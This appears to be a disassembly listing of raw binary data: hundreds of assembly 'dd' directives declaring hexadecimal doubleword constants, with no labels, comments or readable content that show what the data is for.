dd 55BB00C3h, 682DBDECh, 982EA509h, 56C5F06Fh, 0C017E0D9h
dd 6FF64E61h, 203F9E21h, 630DE70h, 0DC2D2B29h, 79183538h
dd 70084A2h, 0BAD757FAh, 940085ABh, 62B11A76h, 0ACF244h
dd 0E69018CFh, 0A8CB1E1Bh, 421FF4Ah, 7008109h, 0A915D94Eh
dd 4E946492h, 9026ECB7h, 0AD10020h, 0AE49BF65h, 6A317498h
dd 8FD9989h, 0F031AF14h, 1C682970h, 0C47CC8D2h, 66B7531Fh
dd 0D1BF6D01h, 5A61A3E7h, 125AFDC0h, 0C560EC99h, 8098FC9Ch
dd 3329437Ch, 1AB2382Ch, 6CF00F0h, 0D83114AAh, 0B600CA2Dh
dd 0F4174F9Ah, 385553Eh, 0AEDD3B0Fh, 82C08967h, 253A081Ch
dd 49A30183h, 867A39FBh, 0F7125C63h, 128C5F15h, 2768CA80h
dd 920C4F6h, 2A3492B6h, 60098DAh, 7B21D01Ah, 0B5297F87h
dd 97545810h, 0F27AA500h, 2527DFE4h, 6D79006Ch, 0B7D8DBBEh
dd 0CCA69361h, 0B59960BCh, 8C2E2E60h, 0F9531D38h, 0CA8C77B4h
dd 4B183091h, 0F856D4E0h, 3680C89Eh, 9D2E2B6Fh, 124D004Eh
dd 713DA5E6h, 0A300BC09h, 171ED705h, 5F5B0F9Fh, 0ED800BBFh
dd 550C7CBCh, 6182F8BEh, 31F90229h, 2ACD2FA0h, 0B1867463h
dd 1F475911h, 0DC165707h, 4A63D2A4h, 5A35A4C0h, 0CBF25D00h
dd 2824A15Ch, 266DEE4Eh, 6088BE09h, 9A7E83D5h, 0B52B3407h
dd 0DC398D47h, 5D7689D0h, 0D202C898h, 0F38F8E00h, 6774B024h
dd 3F11007Ah, 2F348375h, 1B788228h, 0F4C20F9h, 0D2767DFEh
dd 8C6C9Dh, 0EF277716h, 0EE6C1FAFh, 2A0EDE01h, 945E0F0Bh
dd 4730E822h, 0B73D9F39h, 0FEE8A97Fh, 24E4834Eh, 0D3C02EBEh
dd 2ACF0040h, 898D4349h, 0CDF1D814h, 0B8610008h, 79370CF9h
dd 68631DACh, 7CD6011Dh, 0C03BF140h, 5E771744h, 6EAE3Ch
dd 0AB2373E1h, 0F6C088h, 477F9037h, 94D0551Bh, 5232030Ah
dd 97074C15h, 76059AAh, 39EDB92Ah, 3D0744C1h, 11A1C711h
dd 0E0C0C60Eh, 70003815h, 57BE307Ah, 220D11Eh, 91697689h
dd 387A2605h, 0D7097000h, 420CDE03h, 29692EF1h, 0BF3F0358h
dd 8275FEFh, 0BF49020h, 25060439h, 0E88DF312h, 20C88FDCh
dd 0C28E4315h, 78CB037Ch, 0D784D039h, 325E19E8h, 0C9407C96h
dd 22FAC7h, 4E63EFDDh, 47303C76h, 6FF94B02h, 40ECB7DFh
dd 915C7FB4h, 3E24AC54h, 0A2E8804Fh, 82F0FB6Ah, 0B0906C24h
dd 0A0327070h, 98CEF6D4h, 16CA607h, 2A3FAA27h, 2FA6CFEAh
dd 0D3A8E820h, 0BF8902C8h, 5803EDFFh, 20D9C41h, 0EC2255F7h
dd 0BC137892h, 1A002CF9h, 0D50A4BE8h, 7A0B2268h, 0C228BD37h
dd 0D4147754h, 956C8054h, 4F04735Ch, 0D100C4F3h, 2243338Ah
dd 6302DA4Fh, 7997278Bh, 285AC03Dh, 1DF91420h, 1F1D28FBh
dd 57CBF16h, 7FA497F4h, 0C49C3363h, 0E83C8DF1h, 34108AF0h
dd 9507E556h, 0A5E624A7h, 8000ECB5h, 5B3527Dh, 78C50172h
dd 0DEC4A830h, 49460B1h, 41DC7C8Ah, 60D0ACE0h, 0E517C1DCh
dd 7C8A619Bh, 0F04E9017h, 9C00722Ch, 0EC5A3E0Bh, 1112CAh
dd 0B3083281h, 2AEA4A14h, 6DFA2000h, 880C15E9h, 1EF45ED2h
dd 0A4298000h, 79C6AA1Fh, 1D240614h, 0AC8893F4h, 849A001Bh
dd 6ADB487Ah, 7E21F8Ch, 1E1206E2h, 0C0ED8875h, 992EB498h
dd 6DA22A00h, 4CE6765Ch, 4BF8005Ah, 92C0594Eh, 0CCEFCEF0h
dd 613F88B5h, 0BE0F13B2h, 594CA001h, 9C38D71Ah, 9BDCF680h
dd 490E0E03h, 5738792Eh, 0EA050024h, 0CCE4A82Fh, 0CF9F0091h
dd 142B1682h, 23022E8Bh, 58C4183Dh, 0F7D3825Dh, 0D825D5BEh
dd 0F5E4E886h, 8BD5D100h, 30FC26h, 0BB0E62B7h, 7116A80h
dd 3836A502h, 71A958A8h, 805C2860h, 3D3AF128h, 7596945Fh
dd 6F2F0668h, 54A32920h, 27768A00h, 56141B2h, 4C409F83h
dd 73137EADh, 80ADF7F2h, 9B8F5782h, 40302C51h, 0D87ACCh
dd 63808527h, 0A95B0C70h, 64C48F03h, 0E138A67Fh, 13702853h
dd 0AC0524E6h, 50200060h, 948FE0C9h, 3B9DC338h, 6B47936Dh
dd 0A871F218h, 6A003FEh, 0E3633A74h, 0D2C7D8D8h, 7DB44505h
dd 74C04A34h, 12902D88h, 0CA6029h, 137593Ch, 0AB040956h
dd 18FE68D0h, 446FD200h, 1D806022h, 690B6002h, 7B68F221h
dd 28CD884Bh, 664202Bh, 91973020h, 0E0170950h, 8A16D155h
dd 3AD78E07h, 0A0048C2Eh, 0C30050B9h, 3C16B32Dh, 0AD00FC9Ch
dd 0FE08C002h, 0B22E6F8Bh, 0C78F0238h, 813AD30Fh, 2BDFC461h
dd 31D0CC1h, 2C48844Dh, 7E200048h, 0BA475107h, 3B00B242h
dd 33734677h, 97A63F4Bh, 9969A098h, 617F8200h, 6BE367C3h
dd 9E1E4B3h, 28333486h, 12443866h, 1EE5B80Ch, 587AB75Fh
dd 0FC1F799Dh, 0EF388A73h, 0F5508497h, 20EBA168h, 0E25DCCB8h
dd 1E04549h, 0D21D5B21h, 222ABFD6h, 0A6192640h, 4647E09h
dd 0E4167D80h, 1F09F6B8h, 1703AC2h, 8D9A00Eh, 100844AAh
dd 0B34F14FCh, 945B74F8h, 84835C88h, 0D8CEF12Eh, 0F416924Eh
dd 0C8824409h, 1AFA256Ch, 116AA828h, 443ED85Eh, 0DF3F0081h
dd 0C9B0C108h, 0BF0958CDh, 0C42B4A78h, 8AC5029Ch, 7B6957E8h
dd 78281975h, 0E0EC3C45h, 8085681Eh, 0DD7B3797h, 6301141Fh
dd 50C7A359h, 6033BE58h, 80A04A00h, 62FE3319h, 9E008570h
dd 0F9F2E7DDh, 481D1FB4h, 0BA3B54A1h, 0C9B4204Fh, 52EE6430h
dd 0C8C4E500h, 0AF1736A4h, 0E1D50026h, 28C19987h, 98B52A1Fh
dd 248BC948h, 3C942923h, 7285DD80h, 0A064803Eh, 88516909h
dd 35A80052h, 5E70C6Eh, 0B82DDF7Fh, 0F89413BEh, 482B8860h
dd 22801FB0h, 0D190AA25h, 8F4A014h, 7AD2F5FDh, 5D54A901h
dd 51487EBh, 4D11F08h, 0A8AB8C14h, 22F0D03Ch, 91AA24A6h
dd 2479C924h, 0C0244BBCh, 0D396FBC0h, 0D41A07BFh, 9E4DD13Ah
dd 0D9D881A3h, 0F5CBAFB0h, 0CDAA3B0Bh, 82C8C58Eh, 59B591C4h
dd 1C411004h, 0C474A39Dh, 0A238CE68h, 0F46CB0A7h, 4E1F51B7h
dd 1A0488B9h, 0D2502084h, 16A44520h, 5DBD2890h, 64444064h
dd 2934AAB6h, 99F0B90Bh, 3707B7Bh, 904A7127h, 8FBF54B0h
dd 0F16AA00Ah, 5F0EBC58h, 0AAE12433h, 80138A5h, 1440C88Fh
dd 0FDF1F21h, 17181EBAh, 0CAED2002h, 601778D2h, 34A225D0h
dd 0F10CA018h, 9B0E395Fh, 0C0D2C89Ch, 9641CBC5h, 7B8E072Eh
dd 4E0FF484h, 8470BC04h, 1182000Ah, 58D591A3h, 0AE0007E4h
dd 598F10B6h, 2C90B192h, 64B4BE6Ah, 0AAA680ADh, 38043D5Eh
dd 210635C7h, 4682C88h, 57C65129h, 8074EC2Ch, 8B2867F6h
dd 0CA1D045Ch, 0C1B9BFD9h, 733B6F64h, 0E75F0120h, 0F3F648D4h
dd 0E7B9A1F4h, 4A05E060h, 0AB2C251Fh, 8CE48017h, 7863111Ch
dd 0FFA00E9Eh, 76F749FDh
dd 0D016B70h, 0F8ADC9EEh, 4A1CFB21h, 691699C5h, 94804CA8h
dd 2B603228h, 0DECBC300h, 91573EB7h, 7A3011Bh, 206CBFFAh
dd 0DC0C6E9Bh, 15B71DCh, 0FA293203h, 0D0122C7Ch, 25012AC8h
dd 0B95821FBh, 986370F9h, 7B803000h, 2D3D44C7h, 57D36F00h
dd 7C77E604h, 2906B0E4h, 2F092A9h, 8458021h, 6EBD3CC9h
dd 7822FC40h, 757AE295h, 336F3E6Eh, 0C28F4189h, 49437044h
dd 0CCBC4B20h, 80E30824h, 0FF2C846h, 7CCD038Ah, 2943AB72h
dd 4C30BAE4h, 7027DD5Bh, 0FBAA2603h, 0AC86081Ch, 75495CAEh
dd 0C3775483h, 0DDF97DA0h, 0F615AE03h, 0EAC5FE6Dh, 0ACB0D60Ch
dd 0F2161260h, 8A9D7934h, 0CC248CD0h, 0C4CA6662h, 0CB3FE160h
dd 4F8F0068h, 8936F813h, 50C19D49h, 177FC5F7h, 0C8D466C0h
dd 7E8A02E4h, 2905DE68h, 8797A45Ah, 534F5CA8h, 24407840h
dd 61782Bh, 0E8CDF1BAh, 82DAB19h, 81A89E00h, 0F520305Eh
dd 550C07D0h, 119DC962h, 0F045B205h, 1202D4FDh, 0BA88258Eh
dd 0E44A0F9h, 141CFE7h, 1D62D590h, 74D9291Fh, 3429B2D0h
dd 6225DCCDh, 0BA840424h, 3818BF4Bh, 0E0002B7Fh, 958278F3h
dd 1464C36h, 0AAE44FB6h, 0E9D56672h, 20E6811Fh, 0FCFF61EFh
dd 0F56C4B3Ah, 4985889h, 0C880F21h, 0F809B7DEh, 98ACC99h
dd 268DB420h, 39785A1Fh, 0B9CC80DBh, 5491C7EFh, 5CBF0800h
dd 5A2EAF57h, 424F1A0h, 0C0E4EC08h, 0FF81F573h, 11E0D3h
dd 5A18E5BCh, 0A01C6F38h, 76323300h, 3F69350Bh, 6A050120h
dd 962970Dh, 872D20A6h, 0D500237Ch, 118F13B1h, 9C7B35h
dd 9009C68Ah, 61802DE5h, 261CEC0Bh, 4424DAE0h, 2D7E3621h
dd 449DD600h, 0F5D4A250h, 224D009Eh, 90A77C4Bh, 4B586C3h
dd 8530930h, 29441298h, 0E207BCB2h, 201B23D2h, 0F0998B4Fh
dd 7FA19706h, 7B311460h, 0BECA48Fh, 2B34927Eh, 940460D0h
dd 22465A1Eh, 2F68F0A0h, 90C4C105h, 13218544h, 0F81C7FFCh
dd 80158B9Ch, 9A801AC8h, 554498D1h, 0E002E47Eh, 0AC002982h
dd 3D52C46h, 0BF4CC002h, 5A192305h, 0D21480C0h, 3B080176h
dd 4C72FCA8h, 895801C6h, 1F37F181h, 442FEE26h, 0A090B884h
dd 733CF5EFh, 9B1F19B0h, 108790DAh, 244D7657h, 83C83B6h
dd 8A249F59h, 0CCFA2D3Ch, 0F42201C0h, 7C7A0D88h, 0CDC2ACDh
dd 3F300082h, 0A37B2CBAh, 0C40280F9h, 438DD2B6h, 0FA4F0E7h
dd 3CFEA479h, 409A48C7h, 0B105CB98h, 6203E07h, 2D3742BCh
dd 0FF8B001h, 0BD9F8AFCh, 9300CC66h, 1B1E81D2h, 9706D665h
dd 0C00D6411h, 0A090D967h, 5C08FF28h, 89E31F0Ah, 281F901Eh
dd 31CFEC7h, 80DC7369h, 0BCD87E8Fh, 5E002B18h, 43868C50h
dd 5B5A81A6h, 0FF9484D7h, 9E80D828h, 40524920h, 508C0C5Eh
dd 1E61D218h, 305656D0h, 90F72D64h, 0D8595500h, 928DFBF9h
dd 89D904F8h, 0AF475EFEh, 4A65453h, 0C8D78F12h, 0B200618Ch
dd 50A570B1h, 9448BB2Dh, 28A4C8D0h, 11054294h, 0F77C1629h
dd 448429A0h, 9150AA68h, 5138B20h, 20C92427h, 0ED0A3C00h
dd 0A55A3A3Ch, 0E3F32089h, 0D51668F6h, 37F8CA0h, 8069BABCh
dd 0F90FA40h, 9015EA1h, 8650DAAFh, 0FEC827FFh, 4C49DECh
dd 0F7B9B21h, 0AC971A1Fh, 0F0C85AFFh, 0C8394EA1h, 7025CA28h
dd 954858BEh, 53EDBCA7h, 70CF91CEh, 0C5B0D010h, 0F087C30Bh
dd 45C4504Fh, 89F464A4h, 84221F00h, 286F718Bh, 0D5263921h
dd 5F367881h, 0A4558A29h, 79304178h, 4ED803BFh, 674CC0ACh
dd 149C6F1Bh, 64555A40h, 0C0F20153h, 0FEF0DB1Ch, 0DCB6E8DFh
dd 74342E00h, 4CEB5F3Eh, 85F30360h, 43874B80h, 3163EDE8h
dd 0E8A2544Ah, 9B132900h, 0FDA97EBDh, 962B650Eh, 0F990C95Ch
dd 46A34034h, 3707BDDDh, 0B59C29Eh, 0B903A610h, 0B29B5E25h
dd 517F2D04h, 7B9460D4h, 4271D67h, 4424C416h, 5498030Fh
dd 0C4576424h, 895E4360h, 9C1FE7Ah, 13882820h, 0C4A5CF2h
dd 1D8224CBh, 0B8DF09FEh, 73BAF400h, 94312EA3h, 5E0C20F5h
dd 0ACA226h, 7653C190h, 9AC0EE8Bh, 0B51D40C8h, 0C064BE58h
dd 4116D8FEh, 52973B18h, 2C01A5BFh, 8729F217h, 0BFBEE404h
dd 0A8C74C26h, 2D88DA08h, 24005444h, 5038F0D0h, 5A01E39h
dd 6E088FD3h, 0C090AC8Ch, 2536C7C2h, 50ED00B9h, 6CC9579Bh
dd 395E6F0Eh, 2F78B49Ah, 8C6E7B9Ah, 0C3979600h, 0CB912092h
dd 12512621h, 0C0A20B6Ch, 94A03C16h, 7FFA2117h, 0B4B34C1Ch
dd 86FAA81h, 0E830CEBAh, 0B8A34009h, 8C915A5Eh, 8028966h
dd 3C9C7CF4h, 7E7A2420h, 20936410h, 0CF5CF490h, 2C11F950h
dd 3E445856h, 86CF7040h, 444A469Ah, 1F00BCF2h, 0AD746F20h
dd 0F70FBD88h, 6028CAC5h, 6640D9Ch, 411E6023h, 0AA847A03h
dd 0AE80D091h, 9336A31h, 0B2150B1Fh, 60112083h, 887C3C4Dh
dd 6050A479h, 7F090A3Bh, 0C2C73919h, 87A9A7Eh, 91A5D9E8h
dd 0FEEC99F4h, 0E79617C4h, 3DD4AD4Eh, 0F71E82A5h, 61087132h
dd 0CE091C9Ch, 20F8C864h, 0A42C89DFh, 459E709h, 0B84221A4h
dd 0D890C9EDh, 0F405AA08h, 0A0052455h, 840A4BCh, 2E112925h
dd 0E226819Ch, 0D01BCFEDh, 0A00B6DBh, 0C05021BAh, 3CB0D262h
dd 5B2CFF26h, 1D7265Bh, 1F9690BEh, 0D83247h, 9189C08Ah
dd 746C440h, 0E9B6E002h, 62170D9h, 0D400248Dh, 0D21D221Ch
dd 246FF5B7h, 1908614Ch, 3B8BB144h, 68347C99h, 9E3A0029h
dd 70A4C8E7h, 8812C6B6h, 64E8F8B1h, 589EA282h, 4725E4EEh
dd 808C9081h, 0F7FC2549h, 430ED8D9h, 83ADE4E3h, 27CC29EAh
dd 54F24E30h, 75174C00h, 0FD35E0FCh, 22E30600h, 6B429997h
dd 2DE41C98h, 0FCEDC06Ah, 6FA4FB93h, 58C6B7h, 0BE1A6965h
dd 0EA3A25C7h, 0BC3D170Eh, 0B69EE0AEh, 7DFBDEFh, 27E159BAh
dd 28E7B021h, 9A60A953h, 202E1041h, 249499C7h, 0B8816E44h
dd 2C32085Dh, 38ACB9F8h, 96BA600Ch, 9A07BE0Eh, 0EB638869h
dd 7586BDD0h, 0BF420716h, 4B5A3270h, 9301D4E4h, 3CC551A2h
dd 0C460C9B4h, 0A1F94AAFh, 0D060D4D4h, 0B2AB4C0Eh, 34E30009h
dd 0F65983h, 0FD05333Bh, 6480288Dh, 88AC5D09h, 391C44A0h
dd 47A403D5h, 932804BCh, 6409FEACh, 4624508Bh, 80204A2Fh
dd 3793BCDh, 0EE20232Dh, 5AE89463h, 490FB38Ah, 0B4D225DBh
dd 0C13969BBh, 537E173Ch, 118CB95Ch, 902F8894h, 590090D1h
dd 1DF1C654h, 5A9732Bh, 53CC9B37h, 2530E08Ah, 28031642h
dd 296DEF20h, 0BE1E1822h, 0CDA54064h, 3A032F1Dh, 88652156h
dd 20F9AC64h, 0A4E11F80h, 6F00C020h, 6CB67732h, 2F5FE6A5h
dd 987884F6h, 7C9AA204h, 11008969h, 3B82DD43h, 9F13A13Dh
dd 51AD9045h, 0D0B50098h, 8668D916h, 7C004B78h, 72C489ADh
dd 229667Ah, 1B83C722h, 4DC5B97h, 0AC85FB10h, 0C3708C0Bh
dd 50AB591Ch, 9C175CC1h, 3EE5A6CEh, 19520DCh, 0B0565D71h
dd 4002273Bh, 194E63FCh, 8E76673Fh, 0E0928FFAh, 8077C196h
dd 6C060161h, 0AA05893Fh, 0E073E17Fh, 28DDBABEh, 12089584h
dd 8262DD00h, 55FA0F24h, 0C099A97Fh, 0D4595D60h, 0F06D045Ah
dd 0B2D77163h, 0A1A2F3BCh, 8B3A837Ah, 63A441D8h, 0ACCA4B90h
dd 4B73FC05h, 1817EF1Bh, 251AACA0h, 0CCA09FD8h, 0E7AFFE61h
dd 50A2604Eh, 83C5F60Bh, 8D85C981h, 3E1821DEh, 0AE08DC20h
dd 33EC4Bh, 3A26900Ch, 44EF6D3h, 98F4F500h, 783989D4h
dd 113F02E3h, 30D8884Ah, 0FC5FB8A2h, 0B9570C83h, 0C81E9025h
dd 7C33C850h, 7B831732h
dd 0FE742485h, 70B80464h, 5E822910h, 2056880h, 0F31901DBh
dd 6FBA1BC2h, 0B0206AC7h, 0F0D33886h, 222C3F46h, 853B2700h
dd 96D80C84h, 0DF0D441Dh, 73A029C5h, 61490B2h, 1C938822h
dd 211362F4h, 0A00407C0h, 5300A127h, 2605B60Dh, 0A0421094h
dd 7CFEA8h, 0B3CB1DB4h, 69BDB82Ch, 0C103234h, 91327BFCh
dd 0DFA948A5h, 6EB51418h, 148C034Bh, 4B38001Eh, 366A303Ah
dd 0CCA3F853h, 909F89h, 17D176BFh, 886F82F7h, 11160720h
dd 8D0097A2h, 9CF384CEh, 29393DBCh, 2AF57F09h, 44F60CABh
dd 408CF127h, 918FC120h, 0A09DE826h, 68F56B12h, 203CCD7Ah
dd 0FB5B3380h, 7BECA4h, 9614E76h, 0D7694ACEh, 61F5E025h
dd 0AC021F10h, 70D61CC2h, 48185F52h, 0B85F887Ah, 0F40030E2h
dd 0B3FFECE8h, 9A0B933Dh, 7CB5AF13h, 6E784CD4h, 0CA1D6C0Bh
dd 60DCFEB8h, 960A4618h, 0F4B1360Eh, 89A3440Dh, 0F8280604h
dd 501F8AF8h, 40C4B809h, 0EE2628h, 676A8B37h, 0CB13B629h
dd 0F8E7664Eh, 0A359AC03h, 16AAE59Ch, 0D8007C79h, 5638DEE0h
dd 0CACB092Bh, 7CB83Dh, 0C00A8560h, 0BA520035h, 825FD3F0h
dd 797BC329h, 95B61401h, 44359B2Bh, 788B3880h, 0AC4092B3h
dd 0ECC4697h, 125F7F8Fh, 37BBC120h, 18054E90h, 97741535h
dd 0A3DBE000h, 25E8648Bh, 98566E4Fh, 0B7E99A40h, 0F640003Fh
dd 7A88F1B8h, 81048DE7h, 1813E41Bh, 7DA22687h, 70C7A31h
dd 0E1C8B715h, 0D8B95657h, 16F44679h, 1E6BFC03h, 18FF715Ch
dd 18B5BBB8h, 1D58C65Eh, 2B204A4h, 0E8C0BE99h, 19137Bh
dd 4FFC9BA1h, 79812861h, 56661400h, 0C8DD8570h, 3F9C0FA7h
dd 916BD182h, 83E71C81h, 0DE408492h, 0D402178Ah, 84005DA6h
dd 0FF87152Bh, 0F2BA39F0h, 96131847h, 4D72A85Ch, 41268388h
dd 0DCCDC6Ah, 30D3B430h, 11247BFh, 0D86EFE58h, 90A2BE06h
dd 2850AFE8h, 5E9C4B5h, 0E7472363h, 0AE59C8h, 881814B4h
dd 27405941h, 757611E2h, 0E8C9F7F3h, 984B08C8h, 0BDCF008Ah
dd 206CDF8h, 1A01D50Ch, 1F20FE2Eh, 202A0EE9h, 9CCBB548h
dd 799AF800h, 0E4384FABh, 0AC36000Dh, 9222D2Ch, 512DF708h
dd 9444BFh, 0B7C0AF64h, 33496C68h, 2C0BE407h, 0F46B1578h
dd 0E2F24F6Ch, 4EE80054h, 86525E0h, 40300061h, 740746E6h
dd 0C0BD292Fh, 9818324h, 72EB1B82h, 85109C04h, 0C0F4A02Ch
dd 1F1627h, 8C049788h, 2CC907Ch, 0DA863B84h, 0B062A10Ch
dd 0CC91D0C0h, 20B1D333h, 3725A801h, 8820A752h, 70C1DE25h
dd 0B09C7A32h, 0F4D3E1h, 6F4DC698h, 1887C7Bh, 40A89454h
dd 21E604D6h, 453C391Ch, 62AB13C0h, 267D0B8h, 51750D1Ch
dd 32DF0A43h, 16BC543Ch, 83C00057h, 0FF6D12B5h, 35252898h
dd 7F7CC8A9h, 5AC70E6Ah, 0FD236427h, 835541Fh, 2B8021B6h
dd 70C60C7h, 2031E8EBh, 0E7A3A106h, 2084C133h, 59C8755Dh
dd 0C767C038h, 5C462757h, 0E003B022h, 84FBC75Fh, 61A2F8B3h
dd 98FCEC93h, 1DCB305Ch, 0AA6F27F8h, 1FB69900h, 19B09362h
dd 8E2494ADh, 0F4831D10h, 110786F8h, 6B5D5467h, 148325F0h
dd 83D6608h, 44002174h, 9E25E4Ch, 2886080h, 0DE6E3B2h
dd 80F57FD4h, 629F2BECh, 8731C0A0h, 2DD1F4E1h, 34F28809h
dd 98E8D483h, 0ED43211Ah, 64A5D100h, 6BBC2C88h, 7AAA097Dh
dd 40E5476h, 0B6029E68h, 406E3F33h, 0EB98F3Ch, 48B0F8FDh
dd 0B1F71C04h, 883431A0h, 70DB28h, 52A9C799h, 237BC8FDh
dd 0D303D7E6h, 43E9204Bh, 0C0FFEC65h, 0E40F0C3Bh, 0EC91200h
dd 8FD65FBAh, 60910FDFh, 3783E22Ch, 0BCA3B143h, 0A7CBBAE8h
dd 0BB6A5E1Fh, 81F68740h, 1E02E4h, 8021D926h, 9D7F44B0h
dd 0A6EA6B00h, 848ACF4Ch, 65EE81h, 0F54E4AFEh, 3AACB801h
dd 2D641F00h, 62CF1273h, 1A47FFCh, 0CC06D9A5h, 0EF2BF76Bh
dd 0CB7848AEh, 800E67Ah, 61265055h, 7FCE9142h, 21F6619Ch
dd 9FDA21F7h, 29805679h, 69659DA1h, 0D5BA0077h, 0A54B8BBCh
dd 0ACEC2654h, 0D7061E01h, 0CC1BF70Bh, 6673398Ch, 450F7871h
dd 435EBB24h, 76CF1Ah, 690AE3A0h, 0B4F76E67h, 0B9E820E4h
dd 3A68B664h, 7374C0FFh, 0EA00FA5Ch, 0ABD8BB8h, 1DD81B41h
dd 5809F34Dh, 0EAC3485Eh, 0EB9D700h, 2B1F3503h, 98FA1F97h
dd 0BDAF0CD9h, 5A309B19h, 856A9165h, 79A80072h, 0A7CD25F0h
dd 5CE86C87h, 0CCF76D00h, 5F1FE78Ch, 22C3008Dh, 0BD318526h
dd 797C5CA1h, 0B2602377h, 0D4CF5E19h, 1DE703D5h, 74D886A7h
dd 23D1D2B8h, 5C6F2600h, 0DBA32D93h, 0D6E005Eh, 879F9140h
dd 2640D28Bh, 0C1D407F6h, 0C3586F52h, 89C099A8h, 3BF07108h
dd 8DFAA2FAh, 809EE10Ch, 9D5884h, 8A9CFC31h, 0A232D2AEh
dd 1998490Fh, 0DD580154h, 2883B5D9h, 535C41CFh, 0D5A1806h
dd 699ACDCh, 0E4F87C84h, 39006931h, 9E6FE25Ch, 0CE124DBh
dd 388A8C3Bh, 2F3FA0A0h, 60DACC85h, 48321881h, 2558C17Ch
dd 0EC4729BBh, 42182624h, 64182088h, 707E49Fh, 75331DECh
dd 0CDA88260h, 94CF9480h, 0F90A6658h, 0A44A5CB7h, 0FD90D118h
dd 7F1084FFh, 948E9FDBh, 0B9A21E7Fh, 0E8311A0Ch, 9A7734C8h
dd 7B50E8C4h, 0FF43FD6Ch, 0F596E580h, 0D601A8D4h, 5C2D5869h
dd 688C7DF3h, 44F1573Ah, 7075401Bh, 428C5A9h, 599F30C0h
dd 0B189BB30h, 0F91DEF00h, 260C4E70h, 1E6D010Dh, 0E8C0AE7Ch
dd 0BAD1D49Eh, 29AF2A32h, 3EE72054h, 1579C424h, 31A57100h
dd 299D5964h, 762007Ah, 0DDAC9344h, 0A403BDFBh, 0F156A5D8h
dd 0D96FB911h, 1F86F6C0h, 0C01C18E0h, 0AC88C034h, 0FF002777h
dd 0B7A7DAADh, 7302D1EFh, 4C017C7Eh, 5C135C17h, 40201C6Ch
dd 0FCAB7B0Eh, 9609B45Fh, 0D8DD641Eh, 105D0054h, 4315CBF4h
dd 0CE006699h, 336CF1F0h, 2B54C8h, 8C2227F9h, 0BBF504Bh
dd 0A5B37A0Eh, 44EB67D7h, 6D16946Ah, 93AB8100h, 0D0F577h
dd 0B9CED787h, 96923D5Ah, 601A4Ch, 0F351ADEBh, 1CD22390h
dd 749125h, 720E80FBh, 6D00BE17h, 1EB01FA0h, 0EF9DFB4h
dd 0ADB30F53h, 0B66148A0h, 4C0073BCh, 8AA5DAA7h, 4C6EE75Fh
dd 88005931h, 0D3B0A827h, 0FE00EF5Ch, 0A4801EC9h, 38DC5462h
dd 20A8C4F4h, 53F624E8h, 610B002Dh, 0B11FCB3Eh, 37E2F500h
dd 490C5797h, 97E00A1h, 0F666D2E1h, 0BE005ABBh, 0C2C3D4E5h
dd 78BEAFEh, 0F10136CDh, 0E99890D6h, 4B03B421h, 2DCB9D04h
dd 943EA039h, 369A0029h, 0A9B9FCF5h, 0B5000847h, 0B33B13C5h
dd 74605683h, 0B83F00D9h, 9D4DE32Ch, 0F0C00592h, 9A06EBE1h
dd 0EFF0026h, 60D5BC17h, 0BFEAA821h, 20321000h, 894A6665h
dd 120400D9h, 7A9A98C4h, 900A547h, 0A077A1A6h, 6BD634h
dd 1ABE0AF2h, 5210D106h, 0C34ACA05h, 8800213Ch, 5661CB7Eh
dd 0D1380093h, 0A948A772h, 0E00BF6Ah, 78D894A3h, 69B207h
dd 435F0F4Ah, 5B8D5134h, 871E3D00h, 9E562372h, 87FE289h
dd 2282204Ah, 73857C00h, 1245C03Fh, 1E9C95C2h, 4E4600DCh
dd 755F83B6h, 0E0E59F0Bh, 8D9B000Ah, 1EEA7EE2h, 8232EF61h
dd 0D8513745h, 0D12EC440h, 75817903h, 276D13h, 626A5860h
dd 677E9DA6h, 0EB6EE202h, 0C01ED340h, 8C469Ch, 72A4C6F8h
dd 623F8B90h, 7194F71Dh, 720783D6h, 485013D9h, 0F305EAh
dd 79733A12h, 21F817Ch, 31BD8513h, 82E9DB00h, 0B79466h
dd 1D40E733h, 0F49AD56Fh, 24724Dh, 0A3361A6Ah, 3F2D2A1h
dd 0D42E80DAh, 9A90347Bh
dd 3F7C8971h, 0C563CE03h, 886C28E8h, 1F8D4Fh, 66AAEB29h
dd 6D3C7D54h, 303AEC1Fh, 6084DC00h, 90AC5116h, 0D668006Dh
dd 207C6380h, 0C72C5053h, 8AA85490h, 3600DFE6h, 79E6C40Ah
dd 72EC8ED0h, 375B1F67h, 0B22C8090h, 0A6577876h, 80B78B3Ah
dd 0B0164A84h, 0FC3ADAE1h, 0A0EB1610h, 530EEFBEh, 317FC0C3h
dd 0FBAB49h, 3D7B19E7h, 33E42C2Fh, 832A0D38h, 0D92BCE06h
dd 9A4000D7h, 0E829F0C8h, 2F002E3Dh, 0AF250226h, 0B90E59h
dd 31458E95h, 493F86D0h, 3EC64214h, 64140080h, 196F35ECh
dd 87F6ABh, 0B21CB31h, 25D757C8h, 681C0800h, 0A47CDF03h
dd 70892BAh, 58FCE6AFh, 8CE8309Dh, 30000CD9h, 3A22F168h
dd 3BEB62h, 6C83D125h, 0FE6D817Dh, 640F9AFEh, 40C8B117h
dd 0A3C0982Dh, 848E094Ch, 0A8A14D50h, 108F9455h, 90FD55Ah
dd 0D296BD2Dh, 74852C23h, 25A03F93h, 0D9004E55h, 0A21A2BEh
dd 0F1837EF7h, 0E7808845h, 6F1561h, 0BB33CAEh, 1643F6FCh
dd 1EB86900h, 4DD0D80Eh, 2E1439C2h, 6EDF6480h, 0AC55B7FDh
dd 0F50C948h, 0A1CF98E9h, 0A950FCC4h, 20F2F4h, 2BA82958h
dd 0B6224024h, 0EC4263Bh, 5AD1B0FBh, 62D3C038h, 635F0E05h
dd 0C369BC8Fh, 1B3D5420h, 68004336h, 660FD973h, 40B1AF7h
dd 0B467B3A3h, 0A4D0800Ch, 4A005DE0h, 0FDCE4D45h, 0C48135h
dd 20F83B1Bh, 473AB0Ch, 91228900h, 7433A027h, 58E5F016h
dd 9D001CC5h, 7356D6A1h, 2D00DA2Bh, 7C1826C0h, 7831404Bh
dd 209C00DBh, 163F5205h, 711F0470h, 7A43911Eh, 88BFEE89h
dd 0FD5DCACh, 5D11B842h, 32C7FA4Fh, 4EE4003Ch, 0AF16695Fh
dd 0D440274Dh, 74302247h, 84542492h, 6D280005h, 5F3A403Dh
dd 0FD0150FAh, 140EE44Ah, 90D7F931h, 0FEF1Fh, 0DAA40CBDh
dd 9D97F7D1h, 5CDEB639h, 0A1B705EDh, 4D0B0E3h, 0BA1EBF06h
dd 899C090Ch, 0ED0E2DD0h, 704A398Fh, 91313CB0h, 13A90410h
dd 0E42AC069h, 76F00050h, 0B68FB0A5h, 0CF00187Fh, 681E43CAh
dd 742A21Ah, 630A1636h, 0E983C005h, 0B200A822h, 0E15F7CD8h
